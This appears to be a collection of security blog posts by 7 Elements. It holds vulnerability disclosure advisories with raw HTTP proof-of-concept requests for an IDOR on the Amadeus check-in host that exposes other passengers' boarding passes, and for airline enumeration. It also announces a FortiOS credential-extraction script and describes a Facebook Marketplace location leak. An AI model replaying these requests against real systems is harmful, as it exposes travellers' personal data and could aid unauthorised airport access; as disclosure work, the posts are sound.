Exploit Script for CVE-2018-13379

While conducting further analysis of the path traversal vulnerability within the FortiOS SSL VPN web portal, the team at 7 Elements created a script to enumerate vulnerable hosts and extract sensitive information such as user names and passwords.

The following video shows the tool in action with the ability to scan multiple hosts (the script used for the purpose of the video masks sensitive information):

Using the script it was possible to enumerate ~200k hosts globally, identifying around 20,000 vulnerable hosts and extract over 60,000 credentials (further blog post to follow).

Both the NSA and NCSC have recently posted advisories alerting on the use of this vulnerability by Nation State Advanced Persistent Threat (APT) actors to gain access to enterprise environments.

Over three weeks prior to the advisories, the team here at 7 Elements identified that what was then being reported as a medium level risk issue, was in fact a critical impact issue. More on that can be found here.

Today we have released a  version of the script that is limited to a single IP/Host to enable testing against devices owned by the individual running the script. The tool can be downloaded here.

 

CYBERISLE 2019

CYBERISLE 2019 is the Isle of Man government’s flagship cyber security event.

Hosted by the Office of Cyber Security & Information Assurance (OCSIA), CYBERISLE 2019 features world-class speakers, solutions and opportunities for interaction between the public and private sectors. The event is free to attend and will be at the Royal Hall, Villa Marina, Douglas, Isle of Man on the 23rd October 2019.

As part of the event, our CEO, Dave Stubley will deliver a talk on Protecting the Enterprise: Business Email Compromise.

Talk Introduction:

What does a successful compromise of an organisations email system look like and what can we do to protect ourselves?

A recent study by the U.S. Treasury Department revealed that business email compromise scams were costing U.S. companies more than $300 million a month, and the FBI warned that the total financial loss globally due to BEC attacks is at least $12.5 billion. Closer to home: UK’s National Cyber Security Centre (NCSC) reported that BEC attacks cost UK businesses £32 million (in 2017/18).

This talk will use real-life case studies from recent incidents to dissect the anatomy of a modern Business Email Compromise (BEC) attack, from current attack trends to mailbox manipulation and exfiltration of sensitive data through to onward compromise of new mailboxes. Building on this knowledge we will then explore easy to implement mitigation strategies.

For more information about CYBERISLE 2019 and to register, please visit the events page here.

Airline Enumeration within Amadeus Check-in Application

Advisory Information

Title: Airline Enumeration within Amadeus Check-in Application

Date Published: 16th July 2019

Author: David Stubley, david.stubley@7elements.co.uk, @DavidStubley (twitter)

Advisory Summary

It was possible to enumerate supported airlines of the Amadeus Check-in Application using the URL generated as part of an airline mobile application check-in process.

Example of a link to a boarding pass generated by the platform:

https://checkin.si.amadeus.net/1ASIHSSCWEBQS/sscwqs/mbp?IFOI=DCS&id=440968951&ln=en&productIndex=0

(URL provided is no longer valid as it is past the departure time).

The highlighted ‘QS‘ relates to the use of IATA airline codes.

PoC

The following proof of concept shows that due to a lack of authentication required for access to the resource as well as a lack of brute force protection, it was possible to automate an attack to enumerate supported airlines.

Request

GET /1ASIHSSCWEB§OA§/sscw§oa§/mbp?IFOI=DCS&id=300193064&ln=en&productIndex=0 HTTP/1.1
Host: checkin.si.amadeus.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Response

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 12 Jul 2019 11:48:30 GMT
Content-Type: text/html
Connection: close
Content-Length: 7078

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"><head>
<title>Olympic Air Internet check in</title>

Using Burp to do the heavy lifting:

Timeline

Advisory sent – 10th July 2019

Requested confirmation that the advisory has been received by Amadeus – 11th July 2019

Update and confirmation that Amadeus are taking remediation action (advised via FlyBe) – 11th July 2019

Advised Civil Aviation Authority (CAA) on vulnerability – 11th July 2019

Requested update from Amadeus and provided notice to publish – 12th July 2019

Remediation activity completed by Amadeus (based upon dates provided by FlyBe) – 15th July 2019

Advisory published by 7 Elements – 16th July 2019

Insecure Direct Object Reference within Amadeus Check-in Application

Advisory Information

Title: Insecure Direct Object Reference within Amadeus Check-in Application

Date Published: 16th July 2019

Author: David Stubley, david.stubley@7elements.co.uk, @DavidStubley (twitter)

Advisory Summary

It was possible to download valid boarding passes (not belonging to the user) for future flights due to a weakness within the application (Insecure Direct Object Reference).

Example of a link to a boarding pass not belonging to the user:

https://checkin.si.amadeus.net/1ASIHSSCWEBQS/sscwqs/mbp?IFOI=DCS&id=300193064&ln=en&productIndex=0

Insecure Direct Object Reference or IDOR vulnerabilities occur when an application provides direct access to objects based on user-supplied input, bypassing expected authentication and user access controls.

The vulnerable site is: https://checkin.si.amadeus.net

The vulnerable parameter is the ID field within the /mbp application end point.

PoC

The following proof of concept shows access to a boarding pass not associated with the user.

Step One: First intercept a request to generate a boarding pass:

Request:

GET /1ASIHSSCWEBBE/sscwbe/mbp?IFOI=DCS&id=104421747&ln=en&productIndex=0 HTTP/1.1
Host: checkin.si.amadeus.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 05 Jul 2019 10:41:28 GMT
Content-Type: application/pdf
Connection: close
Content-Length: 70581

%PDF-1.3
%âãÏÓ
1 0 obj<</Type/Catalog/Outlines 57 0 R/Pages 3 0 R>>
endobj
{snip}

Step Two: Change to the id parameter to access a boarding pass not associated with the user:

Request:

GET /1ASIHSSCWEBBE/sscwbe/mbp?IFOI=DCS&id=10442131&ln=en&productIndex=0 HTTP/1.1
Host: checkin.si.amadeus.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 05 Jul 2019 10:44:13 GMT
Content-Type: application/pdf
Connection: close
Content-Length: 70764

%PDF-1.3
%âãÏÓ
1 0 obj<</Type/Catalog/Outlines 57 0 R/Pages 3 0 R>>
endobj
{snip}

Response shows a valid pdf document returned to the user.

Timeline

Advisory sent – 8th July 2019 (to FlyBe), 10th July 2019 (to Amadeus)

Requested confirmation that the advisory has been received by Amadeus – 11th July 2019

Update and confirmation that Amadeus are taking remediation action (advised via FlyBe) – 11th July 2019

Advised Civil Aviation Authority (CAA) on vulnerability – 11th July 2019

Requested update from Amadeus and provided notice to publish  – 12th July 2019

Remediation activity completed by Amadeus (based upon dates provided by FlyBe) – 15th July 2019

Advisory published by 7 Elements – 16th July 2019

I know what you did this summer…

Introduction

In a recent technical advisory that can be found here, 7 Elements discovered that it was possible to download valid boarding passes (not belonging to the user) for future flights that impacted all airlines using the Amadeus Check-in platform. This was due to a weakness within the application known as an IDOR vulnerability (Insecure Direct Object Reference). See OWASP for more background on IDOR.

The following images show two boarding passes obtained through the IDOR vulnerability before the issue was remediated by Amadeus:

 

Impact

The IDOR vulnerability combined with the ability to determine all airlines using the platform, makes this an issue that impacts Amadeus globally and impacted all airlines utilising the platform. The issue also highlights the importance of gaining assurance that commercial off-the-shelf (COTS) based solutions are fit for purpose and not placing trust in the solution providers hands. As with most things in life, the old saying of ‘Trust but Verify’ is still king.

PII – Downloading of valid boarding passes discloses customer names and flight details. The boarding pass also contains the booking reference. With that and the surname it would be possible to gain access to the booking and further sensitive information such as contact details (mobile phone etc).

Access to Restricted Areas – While further ID checks should prohibit actual use of another users boarding pass to gain access to the flight. The boarding pass could provide access to airside within the departure terminal. As such, malicious use of this issue could result in unauthorised access to all airports serviced by those airlines using the Amadeus platform. It should be noted that additional security controls may restrict the successful use of a boarding pass that has already been used to gain access airside. However, those controls are not uniformly deployed across all airports.

Details

When using an airline branded mobile application to check-in, it was noted that the mobile application makes a call to the Amadeus hosted application to retrieve the boarding pass.

Screenshot showing the link to ‘Display Boarding Passes’:

Clicking on the link prompts the following response:

Opening a new web page to display the boarding pass.

The URL accessed contains a parameter called ID. By changing the value within the ID parameter, it was possible to access other valid boarding passes.

Example URL:

https://checkin.si.amadeus.net/1ASIHSSCWEBBE/sscwbe/mbp?IFOI=DCS&id=104421747&ln=en&productIndex=0

The structure of the web request allows for other airlines that utilise the Amadeus platform to be targeted by changing the following two letter codes to match the relevant IATA airline code:

Example of a FlyBe request:

https://checkin.si.amadeus.net/1ASIHSSCWEBBE/sscwbe/mbp?IFOI=DCS&id=104421747&ln=en&productIndex=0

Example of a Smartwings request:

https://checkin.si.amadeus.net/1ASIHSSCWEBQS/sscwqs/mbp?IFOI=DCS&id=440968951&ln=en&productIndex=0

(URLs provided are no longer valid as it is past the departure time).

Further to the IDOR vulnerability, it should be noted that there was a lack of authentication required for access to the resource as well as a lack of brute force protection. Given this, it was possible to automate an attack to enumerate supported airlines and valid ID values for boarding passes relating to any airline using the platform.

Screenshot showing the enumeration of airline companies using the Check-in platform:

PoC

The following proof of concept shows access to a boarding pass not associated with the user.

Step One: First intercept a request to generate a boarding pass:

Request:

GET /1ASIHSSCWEBBE/sscwbe/mbp?IFOI=DCS&id=104421747&ln=en&productIndex=0 HTTP/1.1
Host: checkin.si.amadeus.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 05 Jul 2019 10:41:28 GMT
Content-Type: application/pdf
Connection: close
Content-Length: 70581

%PDF-1.3
%âãÏÓ
1 0 obj<</Type/Catalog/Outlines 57 0 R/Pages 3 0 R>>
endobj
{snip}

Two: Change to the id parameter to access a boarding pass not associated with the user:

Request:

GET /1ASIHSSCWEBBE/sscwbe/mbp?IFOI=DCS&id=10442131&ln=en&productIndex=0 HTTP/1.1
Host: checkin.si.amadeus.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 05 Jul 2019 10:44:13 GMT
Content-Type: application/pdf
Connection: close
Content-Length: 70764

%PDF-1.3
%âãÏÓ
1 0 obj<</Type/Catalog/Outlines 57 0 R/Pages 3 0 R>>
endobj
{snip}

Response shows a valid pdf document returned to the user.

 

Facebook’s Burglary Shopping List

Whilst investigating the technical feasibility of scraping Facebook Marketplace to aid in the recovery of stolen goods, it was possible to identify sensitive data disclosing the exact location of the sale item.

The Location data contained within the JSON responses of adverts made through the Facebook Mobile Application, seemed… a little specific. Which goes against the generalised location data displayed to the end user.

Nice bike, glad Facebook fuzzes that location. Otherwise bad people could do bad things.

Digging Deeper

I quickly made my own advert for a random item/address using the mobile application, in order to verify that what I was seeing.

“Location is approximate to protect the seller’s privacy”… Yeah about that

Back on the web application I took a closer look at the requests generated when accessing the bicycles advert (as an unauthenticated user). I soon was able to confirm the request facebook.com/api/graphql, was revealing detailed location information in a JSON response.

The GraphQL API request when the advert is accessed unauthenticated. If you’re feeling lazy just zoom in on the centre of the circle.

For those that can’t read tiny writing the highlighted JSON section reads…

"location": {
   "latitude": 54.9942235,
   "longitude": -1.6041244,
   "reverse_geocode": {
         "city": "Newcastle upon Tyne",
         "state": "England",
         "postal_code": ""
   },
   "reverse_geocode_detailed": {
      "city": "Newcastle upon Tyne",
      "state": "England",
      "postal_code": "NE2 2DS"
   }
}

On checking the latitude/longitude on Google I found it pin pointed the exact location I pinned when making the advert. This would make it easy for anyone malicious to identify the location of that “£7,000 bike” almost down to the meter. It’s also probably not the best idea for the full postcode to be available publicly as well given it wouldn’t take much to find an address based on that and the other information available (i.e the sellers full name).

Isn’t that the exact location I pinned in the above screenshots?

So what’s wrong with that?

Whilst the user has to pin their exact address every bit of Facebooks UI during the item listing process suggests this is fine and will be fuzzed for anyone viewing the advert. The circle whilst pinning suggests the exact address/point will be fuzzed, the text on the adverts says the sellers location is approximate, there’s even functionality to pin your exact location using GPS so I don’t believe it’s intended that the user fuzzes their location manually.

Furthermore, when I tried to submit a specific location using the Facebook web application I found that I was completely unable to drill down beyond the nearest suburb (trying both postcode or full address just didn’t work).

No way to get more specific than the nearest Facebook “Place” in the web application

Expected Behaviour?

I would’ve expected that Facebook would randomise the point to a location within the circle or snap to the nearest generic location like the web application. I would also have expected that Facebook only reveal the first 3/4 characters of the postcode and not the full thing. Indeed, when Facebook made the fix to prevent this information being leaked the above seems to be the approach they took and now when I try to add an advert it snaps to a local park.

Challenges of Responsible Disclosure

I quickly reported my findings to Facebook, originally highlighting the full postcode, this was rejected as they didn’t believe it to be a security vulnerability. I did some more investigation and found the exact situation this occurs along with the long/lat parameters and updated the report… Again it was quickly rejected. Feeling a little bit down, I talked to someone I know who works at Facebook, they were able to get someone to take a more depth look at what I was actually reporting and as a result the report was accepted. A fix was then quickly implemented after just over a week.